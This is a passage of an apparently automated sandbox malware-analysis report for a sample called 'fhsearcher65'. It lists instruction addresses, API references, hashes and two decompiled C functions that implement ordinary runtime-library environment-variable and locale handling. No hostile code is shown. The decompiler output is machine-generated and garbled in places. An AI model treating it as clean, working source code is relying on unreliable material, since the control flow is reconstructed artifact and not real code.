0x0040c974
0x0040c978
0x0040c97e
0x0040c986
0x0040c989
0x0040c98e
0x0040c995
0x0040c99b
0x0040c9a0
0x0040c9a5
0x0040c9ab
0x0040c9b0
0x0040c9b6
0x0040c9b8
0x0040c9bd
0x0040c9be
0x0040c9c3
0x0040c9c3
0x0040c9cb
0x0040c9d0
0x0040c9d0
0x0040c9d6
0x0040c9dc
0x0040c9ee
0x0040c9ee
0x0040c9f0
0x0040c9f4
0x0040ca06
0x0040ca08
0x0040ca95
0x0040ca98
0x0040caa2
0x0040caaa
0x0040caab
0x0040cabc
0x0040cabc
0x0040ca0e
0x0040ca0e
0x0040ca13
0x0040ca20
0x0040ca25
0x0040ca28
0x0040ca2f
0x0040ca32
0x0040ca34
0x0040ca42
0x0040ca36
0x0040ca36
0x0040ca39
0x0040ca3b
0x0040ca3d
0x0040ca3d
0x0040ca3b
0x0040ca4b
0x0040ca53
0x0040ca5b
0x0040ca61
0x0040ca6c
0x0040ca6f
0x0040ca73
0x0040ca78
0x0040ca7c
0x0040ca80
0x0040ca85
0x0040ca8c
0x0040ca8f
0x0040ca15
0x0040ca15
0x0040ca15
0x00000000
0x0040ca13
0x0040c9f6
0x0040c9fe
0x00000000
0x00000000
0x0040ca03
0x00000000
0x0040ca03
0x0040c9e1
0x0040c9e6
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040C989
std::_Lockit::_Lockit.LIBCPMT ref: 0040C9AB
std::_Lockit::~_Lockit.LIBCPMT ref: 0040C9CB
__Getctype.LIBCPMT ref: 0040CA61
std::_Facet_Register.LIBCPMT ref: 0040CA80
std::_Lockit::~_Lockit.LIBCPMT ref: 0040CA98

Strings

B@, xrefs: 0040CA5B

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID: B@
API String ID: 1102183713-1939862501
Opcode ID: a13b43a0b3c8b5934e6b6fcec24f4f1d6e989df7c979b8a7445d035e39b730e5
Instruction ID: efe0bad5eb17e4ea18d7dda756689c03c69d8caa307828fdb36da1760d7c22e6
Opcode Fuzzy Hash: a13b43a0b3c8b5934e6b6fcec24f4f1d6e989df7c979b8a7445d035e39b730e5
Instruction Fuzzy Hash: 0441A271E00209CBCB10DF55D881BAAB7B4EB54714F14467EE845BB382DB38ED05CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00424FC4 Relevance: 12.2, APIs: 8, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00424FC4(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				intOrPtr* _t98;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				_t163 = _t146;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E00413020(_t146, 0x3d);
					_v20 = _t59;
					__eflags = _t59;
					if(__eflags == 0) {
						L38:
						 *((intOrPtr*)(E004139A1(__eflags))) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(__eflags == 0) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0x450898 - _t110; // 0x17def88
							if(__eflags != 0) {
								L14:
								_t64 =  *0x450898; // 0x17def88
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E004252CC(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_v12 = E0042532C(_t120, _t139, 4);
													E0041E668(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E0041E668( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_v16 = E0042532C(_t139, _t138, 4);
												E0041E668(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0x450898 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E0041E60B(_t146 - _t122 + 2, 1);
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E0041E668(_t149);
													goto L40;
												} else {
													_t76 = E0041CB58(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E004138F4();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t51 = _t126 + 1; // 0x2
															_t150 = E0041E60B(_t51, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E00419FF9(_t110, _t128, _t139, _t143, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L57:
																	E0041E668(0);
																	_t86 = _t150;
																	goto L45;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E0041E60B(_t53, 1);
																		E0041E668(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E0041CB58( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E004138F4();
																				asm("int3");
																				_t84 =  *0x450898; // 0x17def88
																				__eflags = _t84 -  *0x4508a4; // 0x17def88
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0x450898 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L55;
																			}
																		}
																		goto L63;
																		L55:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L57;
																}
															}
														} else {
															_t86 = 0;
															__eflags = 0;
															L45:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														__eflags = E0042B573(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														if(__eflags == 0) {
															_t98 = E004139A1(__eflags);
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0x450898 = E0041E60B(1, 4);
										E0041E668(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0x450898 - _t110; // 0x17def88
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0x45089c - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0x45089c = E0041E60B(1, 4);
												E0041E668(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0x45089c - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E0041E668(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0x45089c - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										__eflags = L0041AC01();
										if(__eflags == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E004139A1(_t163);
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x00424fc4
0x00424fc7
0x00424fc9
0x00424fcd
0x00424fd0
0x00424fd2
0x00424fe7
0x00424fec
0x00424fee
0x00424ff3
0x00424ff8
0x00424ffa
0x004251db
0x004251e0
0x00000000
0x00425000
0x00425000
0x00425002
0x00000000
0x00425008
0x0042500b
0x0042500e
0x00425013
0x00425015
0x0042501b
0x00425098
0x00425098
0x0042509d
0x004250a0
0x004250a2
0x00000000
0x004250a8
0x004250af
0x004250b4
0x004250b9
0x004250bc
0x004250be
0x0042510f
0x0042510f
0x00425112
0x00000000
0x00425118
0x00425118
0x0042511a
0x0042511d
0x0042511d
0x00425120
0x00425122
0x00000000
0x00425128
0x00425128
0x0042512e
0x00000000
0x00425134
0x0042513e
0x00425141
0x00425146
0x00425149
0x0042514c
0x0042514e
0x00000000
0x00425154
0x00425154
0x00425157
0x00425159
0x0042515c
0x00000000
0x0042515c
0x0042514e
0x0042512e
0x00425122
0x004250c0
0x004250c0
0x004250c2
0x00000000
0x004250c4
0x004250c7
0x004250cd
0x004250d0
0x004250d3
0x00425108
0x0042510a
0x004250d5
0x004250d5
0x004250e2
0x004250e2
0x004250e5
0x00000000
0x00000000
0x004250de
0x004250e1
0x004250e1
0x004250e1
0x004250f1
0x004250f4
0x004250f9
0x004250fc
0x004250ff
0x00425101
0x00425160
0x00425160
0x00425160
0x00425101
0x00425165
0x00425168
0x00000000
0x0042516a
0x0042516a
0x0042516d
0x0042516d
0x0042516f
0x00425170
0x00425170
0x0042517c
0x00425184
0x00425187
0x00425188
0x0042518a
0x004251d2
0x004251d3
0x00000000
0x0042518c
0x00425193
0x00425198
0x0042519b
0x0042519d
0x004251f7
0x004251f8
0x004251f9
0x004251fa
0x004251fb
0x004251fc
0x00425201
0x00425204
0x00425208
0x00425209
0x0042520c
0x0042520e
0x00425215
0x00425217
0x00425219
0x0042521b
0x0042521d
0x0042521d
0x00425220
0x00425221
0x00425221
0x0042521d
0x00425227
0x00425232
0x00425235
0x00425236
0x00425238
0x004252a0
0x004252a0
0x00000000
0x0042523a
0x0042523a
0x0042523c
0x0042523e
0x00425290
0x00425292
0x00425298
0x00000000
0x00425240
0x00425240
0x00425243
0x00425243
0x00425245
0x00425245
0x00425245
0x00425248
0x00425248
0x0042524a
0x0042524b
0x0042524b
0x00425253
0x00425257
0x00425261
0x00425264
0x00425269
0x0042526c
0x00425270
0x00000000
0x00425272
0x0042527a
0x0042527f
0x00425282
0x00425284
0x004252a5
0x004252a7
0x004252a8
0x004252a9
0x004252aa
0x004252ab
0x004252ac
0x004252b1
0x004252b2
0x004252b7
0x004252bd
0x004252bf
0x004252c0
0x004252c6
0x00000000
0x004252c6
0x004252cb
0x00000000
0x00000000
0x00000000
0x00425284
0x00000000
0x00425286
0x00425286
0x00425289
0x0042528b
0x0042528b
0x00000000
0x0042528f
0x0042523e
0x00425210
0x00425210
0x00425210
0x00425212
0x00425214
0x00425214
0x0042519f
0x004251b0
0x004251b4
0x004251c0
0x004251c2
0x004251c4
0x004251c9
0x004251c9
0x004251cc
0x004251cc
0x00000000
0x004251c2
0x0042519d
0x0042518a
0x00425168
0x004250c2
0x004250be
0x0042501d
0x0042501d
0x00425020
0x0042503e
0x0042503e
0x00425041
0x00425054
0x00425059
0x0042505e
0x00425061
0x00425067
0x004251e6
0x004251e6
0x004251e6
0x00000000
0x0042506d
0x0042506d
0x00425073
0x00000000
0x00425075
0x0042507f
0x00425084
0x00425089
0x0042508c
0x00425092
0x00000000
0x00000000
0x00000000
0x00000000
0x00425092
0x00425073
0x00425043
0x00425043
0x004251e9
0x004251ea
0x004251f1
0x00000000
0x004251f3
0x00425022
0x00425022
0x00425028
0x00000000
0x0042502a
0x0042502f
0x00425031
0x00000000
0x00425037
0x00425037
0x00000000
0x00425037
0x00425031
0x00425028
0x00425020
0x0042501b
0x00425002
0x00424fd4
0x00424fd4
0x00424fd9
0x00424fdf
0x004251f4
0x004251f6
0x004251f6
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 00424FEE
_free.LIBCMT ref: 004250C7
_free.LIBCMT ref: 004250F4

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: da849f5cba55a6e1bf4c75448bbf28128e2cfa56d41baaea9c462adb2de3e383
Instruction ID: cf75728e5eefe9caec9f5c8cca7894695e00fe6f960e58d88d7806099f56966a
Opcode Fuzzy Hash: da849f5cba55a6e1bf4c75448bbf28128e2cfa56d41baaea9c462adb2de3e383
Instruction Fuzzy Hash: 8C5107B0E04721AFDB10AF76AC41ABE7BA4AF01314FD0416FE91197282DA398950CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 1000A62A Relevance: 12.2, APIs: 8, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E1000A62A(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				intOrPtr* _t98;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				_t163 = _t146;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E1000F4C0(_t146, 0x3d);
					_v20 = _t59;
					__eflags = _t59;
					if(__eflags == 0) {
						L38:
						 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(__eflags == 0) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0x10017ea0 - _t110; // 0x17e63f0
							if(__eflags != 0) {
								L14:
								_t64 =  *0x10017ea0; // 0x17e63f0
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E1000A932(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_v12 = E1000A992(_t120, _t139, 4);
													E10008701(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E10008701( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_v16 = E1000A992(_t139, _t138, 4);
												E10008701(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0x10017ea0 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E10008BFC(_t146 - _t122 + 2, 1);
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E10008701(_t149);
													goto L40;
												} else {
													_t76 = E10007728(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E10006359();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t51 = _t126 + 1; // 0x2
															_t150 = E10008BFC(_t51, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E100076E4(_t110, _t128, _t139, _t143, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L57:
																	E10008701(0);
																	_t86 = _t150;
																	goto L45;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E10008BFC(_t53, 1);
																		E10008701(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E10007728( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E10006359();
																				asm("int3");
																				_t84 =  *0x10017ea0; // 0x17e63f0
																				__eflags = _t84 -  *0x10017eac; // 0x17e63f0
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0x10017ea0 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L55;
																			}
																		}
																		goto L63;
																		L55:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L57;
																}
															}
														} else {
															_t86 = 0;
															__eflags = 0;
															L45:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														__eflags = E1000D336(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														if(__eflags == 0) {
															_t98 = E10006406(__eflags);
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0x10017ea0 = E10008BFC(1, 4);
										E10008701(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0x10017ea0 - _t110; // 0x17e63f0
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0x10017ea4 - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0x10017ea4 = E10008BFC(1, 4);
												E10008701(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0x10017ea4 - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E10008701(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0x10017ea4 - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										__eflags = L10007358();
										if(__eflags == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E10006406(_t163);
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x1000a62a
0x1000a62d
0x1000a62f
0x1000a633
0x1000a636
0x1000a638
0x1000a64d
0x1000a652
0x1000a654
0x1000a659
0x1000a65e
0x1000a660
0x1000a841
0x1000a846
0x00000000
0x1000a666
0x1000a666
0x1000a668
0x00000000
0x1000a66e
0x1000a671
0x1000a674
0x1000a679
0x1000a67b
0x1000a681
0x1000a6fe
0x1000a6fe
0x1000a703
0x1000a706
0x1000a708
0x00000000
0x1000a70e
0x1000a715
0x1000a71a
0x1000a71f
0x1000a722
0x1000a724
0x1000a775
0x1000a775
0x1000a778
0x00000000
0x1000a77e
0x1000a77e
0x1000a780
0x1000a783
0x1000a783
0x1000a786
0x1000a788
0x00000000
0x1000a78e
0x1000a78e
0x1000a794
0x00000000
0x1000a79a
0x1000a7a4
0x1000a7a7
0x1000a7ac
0x1000a7af
0x1000a7b2
0x1000a7b4
0x00000000
0x1000a7ba
0x1000a7ba
0x1000a7bd
0x1000a7bf
0x1000a7c2
0x00000000
0x1000a7c2
0x1000a7b4
0x1000a794
0x1000a788
0x1000a726
0x1000a726
0x1000a728
0x00000000
0x1000a72a
0x1000a72d
0x1000a733
0x1000a736
0x1000a739
0x1000a76e
0x1000a770
0x1000a73b
0x1000a73b
0x1000a748
0x1000a748
0x1000a74b
0x00000000
0x00000000
0x1000a744
0x1000a747
0x1000a747
0x1000a747
0x1000a757
0x1000a75a
0x1000a75f
0x1000a762
0x1000a765
0x1000a767
0x1000a7c6
0x1000a7c6
0x1000a7c6
0x1000a767
0x1000a7cb
0x1000a7ce
0x00000000
0x1000a7d0
0x1000a7d0
0x1000a7d3
0x1000a7d3
0x1000a7d5
0x1000a7d6
0x1000a7d6
0x1000a7e2
0x1000a7ea
0x1000a7ed
0x1000a7ee
0x1000a7f0
0x1000a838
0x1000a839
0x00000000
0x1000a7f2
0x1000a7f9
0x1000a7fe
0x1000a801
0x1000a803
0x1000a85d
0x1000a85e
0x1000a85f
0x1000a860
0x1000a861
0x1000a862
0x1000a867
0x1000a86a
0x1000a86e
0x1000a86f
0x1000a872
0x1000a874
0x1000a87b
0x1000a87d
0x1000a87f
0x1000a881
0x1000a883
0x1000a883
0x1000a886
0x1000a887
0x1000a887
0x1000a883
0x1000a88d
0x1000a898
0x1000a89b
0x1000a89c
0x1000a89e
0x1000a906
0x1000a906
0x00000000
0x1000a8a0
0x1000a8a0
0x1000a8a2
0x1000a8a4
0x1000a8f6
0x1000a8f8
0x1000a8fe
0x00000000
0x1000a8a6
0x1000a8a6
0x1000a8a9
0x1000a8a9
0x1000a8ab
0x1000a8ab
0x1000a8ab
0x1000a8ae
0x1000a8ae
0x1000a8b0
0x1000a8b1
0x1000a8b1
0x1000a8b9
0x1000a8bd
0x1000a8c7
0x1000a8ca
0x1000a8cf
0x1000a8d2
0x1000a8d6
0x00000000
0x1000a8d8
0x1000a8e0
0x1000a8e5
0x1000a8e8
0x1000a8ea
0x1000a90b
0x1000a90d
0x1000a90e
0x1000a90f
0x1000a910
0x1000a911
0x1000a912
0x1000a917
0x1000a918
0x1000a91d
0x1000a923
0x1000a925
0x1000a926
0x1000a92c
0x00000000
0x1000a92c
0x1000a931
0x00000000
0x00000000
0x00000000
0x1000a8ea
0x00000000
0x1000a8ec
0x1000a8ec
0x1000a8ef
0x1000a8f1
0x1000a8f1
0x00000000
0x1000a8f5
0x1000a8a4
0x1000a876
0x1000a876
0x1000a876
0x1000a878
0x1000a87a
0x1000a87a
0x1000a805
0x1000a816
0x1000a81a
0x1000a826
0x1000a828
0x1000a82a
0x1000a82f
0x1000a82f
0x1000a832
0x1000a832
0x00000000
0x1000a828
0x1000a803
0x1000a7f0
0x1000a7ce
0x1000a728
0x1000a724
0x1000a683
0x1000a683
0x1000a686
0x1000a6a4
0x1000a6a4
0x1000a6a7
0x1000a6ba
0x1000a6bf
0x1000a6c4
0x1000a6c7
0x1000a6cd
0x1000a84c
0x1000a84c
0x1000a84c
0x00000000
0x1000a6d3
0x1000a6d3
0x1000a6d9
0x00000000
0x1000a6db
0x1000a6e5
0x1000a6ea
0x1000a6ef
0x1000a6f2
0x1000a6f8
0x00000000
0x00000000
0x00000000
0x00000000
0x1000a6f8
0x1000a6d9
0x1000a6a9
0x1000a6a9
0x1000a84f
0x1000a850
0x1000a857
0x00000000
0x1000a859
0x1000a688
0x1000a688
0x1000a68e
0x00000000
0x1000a690
0x1000a695
0x1000a697
0x00000000
0x1000a69d
0x1000a69d
0x00000000
0x1000a69d
0x1000a697
0x1000a68e
0x1000a686
0x1000a681
0x1000a668
0x1000a63a
0x1000a63a
0x1000a63f
0x1000a645
0x1000a85a
0x1000a85c
0x1000a85c
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 1000A654
_free.LIBCMT ref: 1000A72D
_free.LIBCMT ref: 1000A75A

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: a0c36db041c6394aca0add2f8b723cd2806df39da9a9d26740de4ca1c8323699
Instruction ID: 381467da00f9b5958bd928ec2253f49b5b741610b1117f8a7471ff7dbb655abb
Opcode Fuzzy Hash: a0c36db041c6394aca0add2f8b723cd2806df39da9a9d26740de4ca1c8323699
